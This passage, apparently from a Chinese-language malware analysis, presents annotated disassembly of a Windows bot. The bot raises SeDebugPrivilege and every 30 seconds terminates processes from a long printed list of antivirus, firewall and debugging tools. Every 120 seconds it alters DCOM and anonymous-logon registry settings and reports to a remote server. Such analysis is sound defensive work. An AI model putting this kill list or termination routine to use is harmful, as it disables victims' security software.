ws2_32.WSAGetLastError
0040CA7E   |.   50                   push eax
0040CA7F   |.   8D85 C8FDFFFF        lea eax,dword ptr ss:[ebp-238]
```

```
0040CA85   |.   68 2CC54200          push 3.0042C52C
0040CA8A   |.   50                   push eax
0040CA8B   |.   E8 B5A30000          call 3.00416E45
0040CA90   |.   8D85 C8FDFFFF        lea eax,dword ptr ss:[ebp-238]
0040CA96   |.   50                   push eax
0040CA97   |.   E8 DAE7FFFF          call 3.0040B276
0040CA9C   |.   83C4 10              add esp,10
0040CA9F   |>   53                   push ebx
0040CAA0   |.   FF15 F05A4400        call dword ptr ds:[445AF0]                    ;   ws2_32.closesocket
0040CAA6   |.   FF75 FC              push dword ptr ss:[ebp-4]
0040CAA9   |.   FF15 F05A4400        call dword ptr ds:[445AF0]                    ;   ws2_32.closesocket
0040CAAF   |.   FF75 08              push dword ptr ss:[ebp+8]
0040CAB2   |.   E8 56A10000          call 3.00416C0D
0040CAB7   |.   59                   pop ecx
0040CAB8   |.   56                   push esi                                        ; /ExitCode
0040CAB9   \.   FF15 4C104200        call dword ptr ds:[<&KERNEL32.ExitThread>]     ; \ExitThread
```

五、查杀目标的进程

```
00414926   .   56                   push esi                                        ;   创建每30秒杀目标进
程的线程
00414927   .   33F6                 xor esi,esi
00414929   >   6A 01                push 1
0041492B   .   56                   push esi
0041492C   .   56                   push esi
0041492D   .   56                   push esi
0041492E   .   56                   push esi
0041492F   .   56                   push esi
00414930   .   E8 ADFCFFFF          call 3.004145E2                                 ；关键 CALL
00414935   .   83C4 18              add esp,18
00414938   .   FF35 A86D4300        push dword ptr ds:[436DA8]                      ; /Timeout = 30000. ms
0041493E   .   FF15 5C104200        call dword ptr ds:[<&KERNEL32.Sleep>]           ; \Sleep
00414944   .^ EB E3                 jmp short 3.00414929


004145E2   /   55                   push ebp
004145E3   |.   8BEC                 mov ebp,esp
004145E5   |.   81EC 54050000        sub esp,554
004145EB   |.   53                   push ebx
004145EC   |.   56                   push esi
004145ED   |.   57                   push edi
004145EE   |.   6A 49                push 49
004145F0   |.   33DB                 xor ebx,ebx
004145F2   |.   59                   pop ecx
004145F3   |.   33C0                 xor eax,eax
004145F5   |.   391D 785A4400        cmp dword ptr ds:[445A78],ebx
004145FB   |.   8DBD D4FEFFFF        lea edi,dword ptr ss:[ebp-12C]
00414601   |.   899D D0FEFFFF        mov dword ptr ss:[ebp-130],ebx
00414607   |.   F3:AB                rep stos dword ptr es:[edi]
00414609   |.   B9 88000000          mov ecx,88
0041460E   |.   8DBD B0FCFFFF        lea edi,dword ptr ss:[ebp-350]
00414614   |.   899D ACFCFFFF        mov dword ptr ss:[ebp-354],ebx
0041461A   |.   F3:AB                rep stos dword ptr es:[edi]
```

```
0041461C   |.   0F84 BF010000          je 3.004147E1
00414622   |.   391D 5C5A4400          cmp dword ptr ds:[445A5C],ebx
00414628   |.   0F84 B3010000          je 3.004147E1
0041462E   |.   391D 78594400          cmp dword ptr ds:[445978],ebx
00414634   |.   0F84 A7010000          je 3.004147E1
0041463A   |.   6A 01                  push 1
0041463C   |.   68 D8934200            push 3.004293D8                                  ;   SeDebugPrivilege
00414641   |.   E8 31FFFFFF            call 3.00414577                                  ;   提升进程权限
00414646   |.   59                     pop ecx
00414647   |.   59                     pop ecx
00414648   |.   53                     push ebx
00414649   |.   6A 0F                  push 0F
0041464B   |.   FF15 785A4400          call dword ptr ds:[445A78]                       ;
kernel32.CreateToolhelp32Snapshot
00414651   |.   8BF8                   mov edi,eax                                      ;   枚举进程
00414653   |.   83FF FF                cmp edi,-1
00414656   |.   897D F8                mov dword ptr ss:[ebp-8],edi
00414659   |.   0F84 75010000          je 3.004147D4
0041465F   |.   8D85 D0FEFFFF          lea eax,dword ptr ss:[ebp-130]
00414665   |.   C785 D0FEFFFF 2801>mov dword ptr ss:[ebp-130],128
0041466F   |.   50                     push eax
00414670   |.   57                     push edi
00414671   |.   FF15 5C5A4400          call dword ptr ds:[445A5C]                       ;   kernel32.Process32First
00414677   |.   8B35 6C104200          mov esi,dword ptr ds:[<&KERNEL32.CloseHandle>]   ;   kernel32.CloseHandle
0041467D   |.   85C0                   test eax,eax
0041467F   |.   0F84 4A010000          je 3.004147CF
00414685   |.   8D85 D0FEFFFF          lea eax,dword ptr ss:[ebp-130]
0041468B   |.   50                     push eax
0041468C   |.   57                     push edi
0041468D   |.   FF15 78594400          call dword ptr ds:[445978]                       ;   kernel32.Process32Next
00414693   |.   85C0                   test eax,eax
00414695   |.   0F84 34010000          je 3.004147CF
0041469B   |.   8B3D E4104200          mov edi,dword ptr ds:[<&KERNEL32.OpenProcess>]   ;   kernel32.OpenProcess
004146A1   |.   BB FF0F1F00            mov ebx,1F0FFF
004146A6   |>   33C0                   /xor eax,eax
004146A8   |.   3945 18                |cmp dword ptr ss:[ebp+18],eax
004146AB   |.   74 60                  |je short 3.0041470D
004146AD   |.   C745 FC AC6D4300       |mov dword ptr ss:[ebp-4],3.00436DAC             ;   ALOGSERV.EXE
004146B4   |>   8B45 FC                |/mov eax,dword ptr ss:[ebp-4]
004146B7   |.   FF30                   ||push dword ptr ds:[eax]                        ; /String2 =
"ALERTSVC.EXE"
004146B9   |.   8D85 F4FEFFFF          ||lea eax,dword ptr ss:[ebp-10C]                 ; |
004146BF   |.   50                     ||push eax                                       ; |String1
004146C0   |.   FF15 64114200          ||call dword ptr ds:[<&KERNEL32.lstrcmpiA>]      ; \lstrcmpiA
004146C6   |.   85C0                   ||test eax,eax                                   ;   比较枚举的进程是否为
要结束的进程
004146C8   |.   74 12                  ||je short 3.004146DC
004146CA   |.   8345 FC 04             ||add dword ptr ss:[ebp-4],4
004146CE   |.   817D FC 6C774300       ||cmp dword ptr ss:[ebp-4],3.0043776C            ;   ASCII "i11r54n4.exe"
004146D5   |.^ 7C DD                   |\jl short 3.004146B4
004146D7   |.   E9 D9000000            |jmp 3.004147B5
004146DC   |>   FFB5 D8FEFFFF          |push dword ptr ss:[ebp-128]
```

```
004146E2   |.  6A 00                  |push 0
004146E4   |.  53                     |push ebx
004146E5   |.  FFD7                   |call edi
004146E7   |.  85C0                   |test eax,eax
004146E9   |.  8945 FC                |mov dword ptr ss:[ebp-4],eax
004146EC   |.  0F84 C3000000          |je 3.004147B5
004146F2   |.  6A 00                  |push 0                                          ; /ExitCode = 0
004146F4   |.  50                     |push eax                                        ; |hProcess
004146F5   |.  FF15 60114200          |call dword ptr ds:[<&KERNEL32.TerminateProcess>]  ; \TerminateProcess
004146FB   |.  85C0                   |test eax,eax
004146FD   |.  0F85 B2000000          |jnz 3.004147B5
00414703   |>  FF75 FC                |push dword ptr ss:[ebp-4]
00414706   |.  FFD6                   |call esi
00414708   |.  E9 A8000000            |jmp 3.004147B5
0041470D   |>  3945 14                |cmp dword ptr ss:[ebp+14],eax
00414710   |.  0F85 8A000000          |jnz 3.004147A0
00414716   |.  3945 0C                |cmp dword ptr ss:[ebp+C],eax
00414719   |.  0F84 96000000          |je 3.004147B5
0041471F   |.  FFB5 D8FEFFFF          |push dword ptr ss:[ebp-128]
00414725   |.  6A 08                  |push 8
00414727   |.  FF15 785A4400          |call dword ptr ds:[445A78]                                                    ;
kernel32.CreateToolhelp32Snapshot
0041472D   |.  837D 1C 00             |cmp dword ptr ss:[ebp+1C],0
00414731   |.  8945 FC                |mov dword ptr ss:[ebp-4],eax
00414734   |.  C785 ACFCFFFF 2402>|mov dword ptr ss:[ebp-354],224
0041473E   |.  74 20                  |je short 3.00414760
00414740   |.  8D8D ACFCFFFF          |lea ecx,dword ptr ss:[ebp-354]
00414746   |.  51                     |push ecx
00414747   |.  50                     |push eax
00414748   |.  FF15 24594400          |call dword ptr ds:[445924]                      ;  kernel32.Module32First
0041474E   |.  FFB5 D8FEFFFF          |push dword ptr ss:[ebp-128]
00414754   |.  85C0                   |test eax,eax
00414756   |.  74 0E                  |je short 3.00414766
00414758   |.  8D85 CCFDFFFF          |lea eax,dword ptr ss:[ebp-234]
0041475E   |.  EB 0C                  |jmp short 3.0041476C
00414760   |>  FFB5 D8FEFFFF          |push dword ptr ss:[ebp-128]
00414766   |>  8D85 F4FEFFFF          |lea eax,dword ptr ss:[ebp-10C]
0041476C   |>  50                     |push eax
0041476D   |.  8D85 ACFAFFFF          |lea eax,dword ptr ss:[ebp-554]
00414773   |.  68 64984300            |push 3.00439864                                 ;  %s (%d)
00414778   |.  50                     |push eax
00414779   |.  E8 C7260000            |call 3.00416E45
0041477E   |.  83C4 10                |add esp,10
00414781   |.  8D85 ACFAFFFF          |lea eax,dword ptr ss:[ebp-554]
00414787   |.  6A 01                  |push 1
00414789   |.  FF75 10                |push dword ptr ss:[ebp+10]
0041478C   |.  50                     |push eax
0041478D   |.  FF75 0C                |push dword ptr ss:[ebp+C]
00414790   |.  FF75 08                |push dword ptr ss:[ebp+8]
00414793   |.  E8 7083FFFF            |call 3.0040CB08
00414798   |.  83C4 14                |add esp,14
0041479B   |.^ E9 63FFFFFF            |jmp 3.00414703
```

```
004147A0   |>   FF75 14              |push dword ptr ss:[ebp+14]
004147A3   |.   8D85 F4FEFFFF       |lea eax,dword ptr ss:[ebp-10C]
004147A9   |.   50                   |push eax
004147AA   |.   E8 B12A0000         |call 3.00417260
004147AF   |.   59                   |pop ecx
004147B0   |.   85C0                |test eax,eax
004147B2   |.   59                   |pop ecx
004147B3   |.   74 33               |je short 3.004147E8
004147B5   |>   8D85 D0FEFFFF       |lea eax,dword ptr ss:[ebp-130]
004147BB   |.   50                   |push eax
004147BC   |.   FF75 F8             |push dword ptr ss:[ebp-8]
004147BF   |.   FF15 78594400       |call dword ptr ds:[445978]                    ;  kernel32.Process32Next
004147C5   |.   85C0                |test eax,eax
004147C7   |.^ 0F85 D9FEFFFF        \jnz 3.004146A6
004147CD   |.   33DB                xor ebx,ebx
004147CF   |>   FF75 F8             push dword ptr ss:[ebp-8]
004147D2   |.   FFD6                call esi
004147D4   |>   53                  push ebx
004147D5   |.   68 D8934200         push 3.004293D8                              ;  SeDebugPrivilege
004147DA   |.   E8 98FDFFFF         call 3.00414577
004147DF   |.   59                  pop ecx
004147E0   |.   59                  pop ecx
004147E1   |>   33C0                xor eax,eax
004147E3   |>   5F                  pop edi
004147E4   |.   5E                  pop esi
004147E5   |.   5B                  pop ebx
004147E6   |.   C9                  leave
004147E7   |.   C3                  retn
004147E8   |>   FFB5 D8FEFFFF       push dword ptr ss:[ebp-128]
004147EE   |.   6A 00               push 0
004147F0   |.   53                  push ebx
004147F1   |.   FFD7                call edi
004147F3   |.   FF75 F8             push dword ptr ss:[ebp-8]
004147F6   |.   8BF8                mov edi,eax
004147F8   |.   FFD6                call esi
004147FA   |.   6A 00               push 0                                       ; /ExitCode = 0
004147FC   |.   57                  push edi                                     ; |hProcess
004147FD   |.   FF15 60114200       call dword ptr ds:[<&KERNEL32.TerminateProcess>]  ; \TerminateProcess
00414803   |.   85C0                test eax,eax
00414805   |.   75 05               jnz short 3.0041480C
00414807   |.   57                  push edi
00414808   |.   FFD6                call esi
0041480A   |.^ EB D5                jmp short 3.004147E1
0041480C   |>   6A 01               push 1
0041480E   |.   58                  pop eax
0041480F   \.^ EB D2                jmp short 3.004147E3
```

要结束的进程大约有这些：

r54n4.exe，irun4.exe，d3dupdate.exe，rate.exe，ssate.exe，winsys.exe，winupd.exe，SysMonXP.exe，bbeagle.exe，Penis32.exe，mscvb32.exe， sysinfo.exe， PandaAVEngine.exe， F-AGOBOT.EXE， HIJACKTHIS.EXE， _AVPM.EXE， _AVPCC.EXE，_AVP32.EXE， ZONEALARM.EXE， ZONALM2601.EXE， ZATUTOR.EXE， ZAPSETUP3001.EXE， ZAPRO.EXE，XPF202EN.EXE，WYVERNWORKSFIREWALL.EXE，WUPDT.EXE，WUPDATER.EXE，WSBGATE.EXE，WRCTRL.EXE，WRADMIN.EXE，WNT.EXE，WNAD.EXE，WKUFIND.EXE，WINUPDATE.EXE，WINTSK32.EXE，WINSTART001.EXE，

WINSTART.EXE，WINSSK32.EXE，WINSERVN.EXE，WINRECON.EXE，WINPPR32.EXE，WINNET.EXE，WINMAIN.EXE，
WINLOGIN.EXE，WININITX.EXE，WININIT.EXE，WININETD.EXE，WINDOWS.EXE，WINDOW.EXE，WINACTIVE.EXE，
WIN32US.EXE， WIN32.EXE， WIN-BUGSFIX.EXE， WIMMUN32.EXE， WHOSWATCHINGME.EXE， WGFE95.EXE，
WFINDV32.EXE，WEBTRAP.EXE，WEBSCANX.EXE，WEBDAV.EXE，WATCHDOG.EXE，W9X.EXE，W32DSM89.EXE，
VSWINPERSE.EXE，VSWINNTSE.EXE，VSWIN9XE.EXE，VSSTAT.EXE，VSMON.EXE，VSMAIN.EXE，VSISETUP.EXE，
VSHWIN32.EXE，VSECOMR.EXE，VSCHED.EXE，VSCENU6.02D30.EXE，VSCAN40.EXE，VPTRAY.EXE，VPFW30S.EXE，
VPC42.EXE，VPC32.EXE，VNPC3000.EXE，VNLAN300.EXE，VIRUSMDPERSONALFIREWALL.EXE，VIR-HELP.EXE，
VFSETUP.EXE， VETTRAY.EXE， VET95.EXE， VET32.EXE， VCSETUP.EXE， VBWINNTW.EXE， VBWIN9X.EXE，
VBUST.EXE， VBCONS.EXE， VBCMSERV.EXE， UTPOST.EXE， UPGRAD.EXE， UPDATE.EXE， UPDAT.EXE，
UNDOBOOT.EXE，TVTMD.EXE，TVMD.EXE，TSADBOT.EXE，TROJANTRAP3.EXE，TRJSETUP.EXE，TRJSCAN.EXE，
TRICKLER.EXE， TRACERT.EXE， TITANINXP.EXE， TITANIN.EXE， TGBOB.EXE， TFAK5.EXE， TFAK.EXE，
TEEKIDS.EXE，TDS2-NT.EXE，TDS2-98.EXE，TDS-3.EXE，TCM.EXE，TCA.EXE，TC.EXE，TBSCAN.EXE，TAUMON.EXE，
TASKMON.EXE，TASKMO.EXE，TASKMG.EXE，SYSUPD.EXE，SYSTEM32.EXE，SYSTEM.EXE，SYSEDIT.EXE，
SYMTRAY.EXE，SYMPROXYSVC.EXE，SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE，SWEEP95.EXE，SVSHOST.EXE，
SVCHOSTS.EXE，SVCHOSTC.EXE，SVC.EXE，SUPPORTER5.EXE，SUPPORT.EXE，SUPFTRL.EXE，STCLOADER.EXE，
START.EXE，ST2.EXE，SSG_4104.EXE，SSGRATE.EXE，SS3EDIT.EXE，SRNG.EXE，SREXE.EXE，SPYXX.EXE，
SPOOLSV32.EXE，SPOOLCV.EXE，SPOLER.EXE，SPHINX.EXE，SPF.EXE，SPERM.EXE，SOFI.EXE，SOAP.EXE，
SMSS32.EXE， SMS.EXE， SMC.EXE， SHOWBEHIND.EXE， SHN.EXE， SHELLSPYINSTALL.EXE， SH.EXE，
SGSSFW32.EXE， SFC.EXE， SETUP_FLOWPROTECTOR_US.EXE， SETUPVAMEEVAL.EXE， SERVLCES.EXE，
SERVLCE.EXE，SERVICE.EXE，SERV95.EXE，SD.EXE，SCVHOST.EXE，SCRSVR.EXE，SCRSCAN.EXE，SCANPM.EXE，
SCAN95.EXE，SCAN32.EXE，SCAM32.EXE，SC.EXE，SBSERV.EXE，SAVENOW.EXE，SAVE.EXE，SAHAGENT.EXE，
SAFEWEB.EXE， RUXDLL32.EXE， RUNDLL16.EXE， RUNDLL.EXE， RUN32DLL.EXE， RULAUNCH.EXE，
RTVSCN95.EXE，RTVSCAN.EXE，RSHELL.EXE，RRGUARD.EXE，RESCUE32.EXE，RESCUE.EXE，REGEDT32.EXE，
REGEDIT.EXE， REGED.EXE， REALMON.EXE， RCSYNC.EXE， RB32.EXE， RAY.EXE， RAV8WIN32ENG.EXE，
RAV7WIN.EXE，RAV7.EXE，RAPAPP.EXE，QSERVER.EXE，QCONSOLE.EXE，PVIEW95.EXE，PUSSY.EXE，PURGE.EXE，
PSPF.EXE， PROTECTX.EXE， PROPORT.EXE， PROGRAMAUDITOR.EXE， PROCEXPLORERV1.0.EXE，
PROCESSMONITOR.EXE， PROCDUMP.EXE， PRMVR.EXE， PRMT.EXE， PRIZESURFER.EXE， PPVSTOP.EXE，
PPTBC.EXE，PPINUPDT.EXE，POWERSCAN.EXE，PORTMONITOR.EXE，PORTDETECTIVE.EXE，POPSCAN.EXE，
POPROXY.EXE，POP3TRAP.EXE，PLATIN.EXE，PINGSCAN.EXE，PGMONITR.EXE，PFWADMIN.EXE，PF2.EXE，
PERSWF.EXE，PERSFW.EXE，PERISCOPE.EXE，PENIS.EXE，PDSETUP.EXE，PCSCAN.EXE，PCIP10117_0.EXE，
PCFWALLICON.EXE， PCDSETUP.EXE， PCCWIN98.EXE， PCCWIN97.EXE， PCCNTMON.EXE， PCCIOMON.EXE，
PCC2K_76_1436.EXE，PCC2002S902.EXE，PAVW.EXE，PAVSCHED.EXE，PAVPROXY.EXE，PAVCL.EXE，PATCH.EXE，
PANIXK.EXE，PADMIN.EXE，OUTPOSTPROINSTALL.EXE，OUTPOSTINSTALL.EXE，OUTPOST.EXE，OTFIX.EXE，
OSTRONET.EXE，OPTIMIZE.EXE，ONSRVR.EXE，OLLYDBG.EXE，NWTOOL16.EXE，NWSERVICE.EXE，NWINST4.EXE，
NVSVC32.EXE， NVC95.EXE， NVARCH16.EXE， NUPGRADE.EXE， NUI.EXE， NTXconfig.EXE， NTVDM.EXE，
NTRTSCAN.EXE， NT.EXE， NSUPDATE.EXE， NSTASK32.EXE， NSSYS32.EXE， NSCHED32.EXE， NPSSVC.EXE，
NPSCHECK.EXE， NPROTECT.EXE， NPFMESSENGER.EXE， NPF40_TW_98_NT_ME_2K.EXE， NOTSTART.EXE，
NORTON_INTERNET_SECU_3.0_407.EXE，NORMIST.EXE，NOD32.EXE，NMAIN.EXE，NISUM.EXE，NISSERV.EXE，
NETUTILS.EXE，NETSTAT.EXE，NETSPYHUNTER-1.2.EXE，NETSCANPRO.EXE，NETMON.EXE，NETINFO.EXE，
NETD32.EXE，NETARMOR.EXE，NEOWATCHLOG.EXE，NEOMONITOR.EXE，NDD32.EXE，NCINST4.EXE，NC2000.EXE，
NAVWNT.EXE，NAVW32.EXE，NAVSTUB.EXE，NAVNT.EXE，NAVLU32.EXE，NAVENGNAVEX15.NAVLU32.EXE，
NAVDX.EXE，NAVAPW32.EXE，NAVAPSVC.EXE，NAVAP.NAVAPSVC.EXE，AUTO-PROTECT.NAV80TRY.EXE，NAV.EXE，
N32SCANW.EXE，MWATCH.EXE，MU0311AD.EXE，MSVXD.EXE，MSSYS.EXE，MSSMMC32.EXE，MSMSGRI32.EXE，
MSMGT.EXE，MSLAUGH.EXE，MSINFO32.EXE，MSIEXEC16.EXE，MSDOS.EXE，MSDM.EXE，MSCONFIG.EXE，
MSCMAN.EXE， MSCCN32.EXE， MSCACHE.EXE， MSBLAST.EXE， MSBB.EXE， MSAPP.EXE， MRFLUX.EXE，
MPFTRAY.EXE，MPFSERVICE.EXE，MPFAGENT.EXE，MOSTAT.EXE，MOOLIVE.EXE，MONITOR.EXE，MMOD.EXE，
MINILOG.EXE，MGUI.EXE，MGHTML.EXE，MGAVRTE.EXE，MGAVRTCL.EXE，MFWENG3.02D30.EXE，MFW2EN.EXE，
MFIN32.EXE，MD.EXE，MCVSSHLD.EXE，MCVSRTE.EXE，MCUPDATE.EXE，MCTOOL.EXE，MCSHIELD.EXE，
MCMNHDLR.EXE，MCAGENT.EXE，MAPISVC32.EXE，LUSPT.EXE，LUINIT.EXE，LUCOMSERVER.EXE，LUAU.EXE，
LUALL.EXE， LSETUP.EXE， LORDPE.EXE， LOOKOUT.EXE， LOCKDOWN2000.EXE， LOCKDOWN.EXE，
LOCALNET.EXE，LOADER.EXE，LNETINFO.EXE，LDSCAN.EXE，LDPROMENU.EXE，LDPRO.EXE，LDNETMON.EXE，
LAUNCHER.EXE ， KILLPROCESSSETUP161.EXE ， KERNEL32.EXE ， KERIO-WRP-421-EN-WIN.EXE ，

KERIO-WRL-421-EN-WIN.EXE， KERIO-PF-213-EN-WIN.EXE， KEENVALUE.EXE， KAZZA.EXE， KAVPF.EXE，KAVPERS40ENG.EXE，KAVLITE40ENG.EXE，JEDI.EXE，JDBGMRG.EXE，JAMMER.EXE，ISTSVC.EXE，ISRV95.EXE，ISASS.EXE，IRIS.EXE，IPARMOR.EXE，IOMON98.EXE，INTREN.EXE，INTDEL.EXE，INIT.EXE，INFWIN.EXE，INFUS.EXE，INETLNFO.EXE，IFW2000.EXE，IFACE.EXE，IEXPLORER.EXE，IEDRIVER.EXE，IEDLL.EXE，IDLE.EXE，ICSUPPNT.EXE，ICSUPP95.EXE，ICMON.EXE，ICLOADNT.EXE，ICLOAD95.EXE，IBMAVSP.EXE，IBMASN.EXE，IAMSTATS.EXE，IAMSERV.EXE，IAMAPP.EXE，HXIUL.EXE，HXDL.EXE，HWPE.EXE，HTPATCH.EXE，HTLOG.EXE，HOTPATCH.EXE， HOTACTIO.EXE， HBSRV.EXE， HBINST.EXE， HACKTRACERSETUP.EXE， GUARDDOG.EXE，GUARD.EXE，GMT.EXE，GENERICS.EXE，GBPOLL.EXE，GBMENU.EXE，GATOR.EXE，FSMB32.EXE，FSMA32.EXE，FSM32.EXE，FSGK32.EXE，FSAV95.EXE，FSAV530WTBYB.EXE，FSAV530STBYB.EXE，FSAV32.EXE，FSAV.EXE，FSAA.EXE，FRW.EXE，FPROT.EXE，FP-WIN_TRIAL.EXE，FP-WIN.EXE，FNRB32.EXE，FLOWPROTECTOR.EXE，FIREWALL.EXE，FINDVIRU.EXE，FIH32.EXE，FCH32.EXE，FAST.EXE，FAMEH32.EXE，F-STOPW.EXE，F-PROT95.EXE，F-PROT.EXE，F-AGNT95.EXE，EXPLORE.EXE，EXPERT.EXE，EXE.AVXW.EXE，EXANTIVIRUS-CNET.EXE，EVPN.EXE，ETRUSTCIPE.EXE， ETHEREAL.EXE， ESPWATCH.EXE， ESCANV95.EXE， ESCANHNT.EXE， ESCANH95.EXE，ESAFE.EXE，ENT.EXE，EMSW.EXE，EFPEADM.EXE，ECENGINE.EXE，DVP95_0.EXE，DVP95.EXE，DSSAGENT.EXE，DRWEBUPW.EXE， DRWEB32.EXE， DRWATSON.EXE， DPPS2.EXE， DPFSETUP.EXE， DPF.EXE， DOORS.EXE，DLLREG.EXE，DLLCACHE.EXE，DIVX.EXE，DEPUTY.EXE，DEFWATCH.EXE，DEFSCANGUI.EXE，DEFALERT.EXE，DCOMX.EXE， DATEMANAGER.EXE， Claw95.EXE， CWNTDWMO.EXE， CWNB181.EXE， CV.EXE， CTRL.EXE，CPFNT206.EXE， CPF9X206.EXE， CPD.EXE， CONNECTIONMONITOR.EXE， CMON016.EXE， CMGRDIAN.EXE，CMESYS.EXE， CMD32.EXE， CLICK.EXE， CLEANPC.EXE， CLEANER3.EXE， CLEANER.EXE， CLEAN.EXE，CLAW95CF.EXE，CFINET32.EXE，CFINET.EXE，CFIAUDIT.EXE，CFIADMIN.EXE，CFGWIZ.EXE，CFD.EXE，CDP.EXE，CCPXYSVC.EXE，CCEVTMGR.EXE，CCAPP.EXE，BVT.EXE，BUNDLE.EXE，BS120.EXE，BRASIL.EXE，BPC.EXE，BORG2.EXE， BOOTWARN.EXE， BOOTCONF.EXE， BLSS.EXE， BLACKICE.EXE， BLACKD.EXE， BISP.EXE，BIPCPEVALSETUP.EXE ， BIPCP.EXE ， BIDSERVER.EXE ， BIDEF.EXE ， BELT.EXE ， BEAGLE.EXE ，BD_PROFESSIONAL.EXE ， BARGAINS.EXE ， BACKWEB.EXE ， AVXQUAR.EXE ， AVXMONITORNT.EXE ，AVXMONITOR9X.EXE， AVWUPSRV.EXE， AVWUPD32.EXE， AVWUPD.EXE， AVWINNT.EXE， AVWIN95.EXE，AVSYNMGR.EXE，AVSCHED32.EXE，AVPUPD.EXE，AVPTC32.EXE，AVPM.EXE，AVPDOS32.EXE，AVPCC.EXE，AVP32.EXE， AVP.EXE， AVNT.EXE， AVLTMAIN.EXE， AVKWCTl9.EXE， AVKSERVICE.EXE， AVKSERV.EXE，AVKPOP.EXE， AVGW.EXE， AVGUARD.EXE， AVGSERV9.EXE， AVGSERV.EXE， AVGNT.EXE， AVGCTRL.EXE，AVGCC32.EXE， AVE32.EXE， AVCONSOL.EXE， AUTOUPDATE.EXE， AUTOTRACE.EXE， AUTODOWN.EXE，AUPDATE.EXE， AU.EXE， ATWATCH.EXE， ATUPDATER.EXE， ATRO55EN.EXE， ATGUARD.EXE， ATCON.EXE，ARR.EXE，APVXDWIN.EXE，APLICA32.EXE，APIMONITOR.EXE，ANTS.EXE，ANTIVIRUS.EXE，ANTI-TROJAN.EXE，AMON9X.EXE，ALOGSERV.EXE，ALEVIR.EXE，ALERTSVC.EXE，AGENTW.EXE，AGENTSVR.EXE，ADVXDWIN.EXE，ADAWARE.EXE，ACKWIN32.EXE

六、每120秒禁用 DCOM 功能,取消系统匿名登陆功能,检测共享漏洞，删除共享,并把相关信息发送给远程服务器

```
00416635    > /6A 01                 push 1                                          ;
00416637    . |6A 00                  push 0
00416639    . |6A 00                  push 0
0041663B    . |6A 00                  push 0
0041663D    . |E8 B8F9FFFF            call 3.00415FFA
00416642    . |83C4 10                add esp,10
00416645    . |FF35 00F34300           push dword ptr ds:[43F300]                      ; /Timeout = 120000. ms
0041664B    . |FF15 5C104200           call dword ptr ds:[<&KERNEL32.Sleep>]           ; \Sleep
00416651    .^\EB E2                 jmp short 3.00416635                            ;每120进行检测

00415FFA   /    55                   push ebp
00415FFB   |.   8BEC                 mov ebp,esp
00415FFD   |.   81EC 14020000        sub esp,214
00416003   |.   56                   push esi
00416004   |.   57                   push edi
```

```
00416005   |.  33FF                  xor edi,edi
00416007   |.  393D 285B4400         cmp dword ptr ds:[445B28],edi
0041600D   |.  0F85 19010000         jnz 3.0041612C
00416013   |.  8D45 FC               lea eax,dword ptr ss:[ebp-4]
00416016   |.  BE 02000080           mov esi,80000002
0041601B   |.  50                    push eax
0041601C   |.  68 1F000200           push 2001F
00416021   |.  57                    push edi
00416022   |.  68 FCD54200           push 3.0042D5FC                                  ;
Software\Microsoft\OLE
00416027   |.  56                    push esi
00416028   |.  FF15 C85A4400         call dword ptr ds:[445AC8]                       ;
advapi32.RegOpenKeyExA
0041602E   |.  85C0                  test eax,eax
00416030   |.  75 53                 jnz short 3.00416085
00416032   |.  66:A1 7CF64300        mov ax,word ptr ds:[43F67C]
00416038   |.  66:8945 FA            mov word ptr ss:[ebp-6],ax
0041603C   |.  8D45 FA               lea eax,dword ptr ss:[ebp-6]
0041603F   |.  50                    push eax
00416040   |.  E8 FB150000           call 3.00417640
00416045   |.  59                    pop ecx
00416046   |.  50                    push eax
00416047   |.  8D45 FA               lea eax,dword ptr ss:[ebp-6]
0041604A   |.  50                    push eax
0041604B   |.  6A 01                 push 1
0041604D   |.  57                    push edi
0041604E   |.  68 70F64300           push 3.0043F670                                  ;  EnableDCOM
00416053   |.  FF75 FC               push dword ptr ss:[ebp-4]
00416056   |.  FF15 7C5A4400         call dword ptr ds:[445A7C]                       ;  advapi32.RegSetValueExA
0041605C   |.  85C0                  test eax,eax                                     ;  禁用 DCOM 功能
0041605E   |.  74 07                 je short 3.00416067
00416060   |.  68 3CF64300           push 3.0043F63C
00416065   |.  EB 05                 jmp short 3.0041606C
00416067   |>  68 10F64300           push 3.0043F610
0041606C   |>  8D85 ECFDFFFF         lea eax,dword ptr ss:[ebp-214]
00416072   |.  50                    push eax
00416073   |.  E8 CD0D0000           call 3.00416E45
00416078   |.  59                    pop ecx
00416079   |.  59                    pop ecx
0041607A   |.  FF75 FC               push dword ptr ss:[ebp-4]
0041607D   |.  FF15 345A4400         call dword ptr ds:[445A34]                       ;  advapi32.RegCloseKey
00416083   |.  EB 13                 jmp short 3.00416098
00416085   |>  8D85 ECFDFFFF         lea eax,dword ptr ss:[ebp-214]
0041608B   |.  68 D0F54300           push 3.0043F5D0
00416090   |.  50                    push eax
00416091   |.  E8 AF0D0000           call 3.00416E45
00416096   |.  59                    pop ecx
00416097   |.  59                    pop ecx
00416098   |>  397D 14               cmp dword ptr ss:[ebp+14],edi
0041609B   |.  75 1A                 jnz short 3.004160B7
0041609D   |.  6A 01                 push 1
0041609F   |.  8D85 ECFDFFFF         lea eax,dword ptr ss:[ebp-214]
```

```
004160A5   |.  FF75 10               push dword ptr ss:[ebp+10]
004160A8   |.  50                    push eax
004160A9   |.  FF75 0C               push dword ptr ss:[ebp+C]
004160AC   |.  FF75 08               push dword ptr ss:[ebp+8]
004160AF   |.  E8 546AFFFF           call 3.0040CB08
004160B4   |.  83C4 14               add esp,14
004160B7   |>  8D85 ECFDFFFF         lea eax,dword ptr ss:[ebp-214]
004160BD   |.  50                    push eax
004160BE   |.  E8 B351FFFF           call 3.0040B276
004160C3   |.  59                    pop ecx
004160C4   |.  8D45 FC               lea eax,dword ptr ss:[ebp-4]
004160C7   |.  50                    push eax
004160C8   |.  68 3F000F00           push 0F003F
004160CD   |.  57                    push edi
004160CE   |.  68 14D64200           push 3.0042D614                                    ;
SYSTEM\CurrentControlSet\Control\Lsa
004160D3   |.  56                    push esi
004160D4   |.  FF15 C85A4400         call dword ptr ds:[445AC8]                         ;
advapi32.RegOpenKeyExA
004160DA   |.  85C0                  test eax,eax
004160DC   |.  75 47                 jnz short 3.00416125
004160DE   |.  8D45 F8               lea eax,dword ptr ss:[ebp-8]
004160E1   |.  6A 04                 push 4
004160E3   |.  50                    push eax
004160E4   |.  6A 04                 push 4
004160E6   |.  57                    push edi
004160E7   |.  68 BCF54300           push 3.0043F5BC                                    ;  restrictanonymous
004160EC   |.  FF75 FC               push dword ptr ss:[ebp-4]
004160EF   |.  C745 F8 01000000      mov dword ptr ss:[ebp-8],1
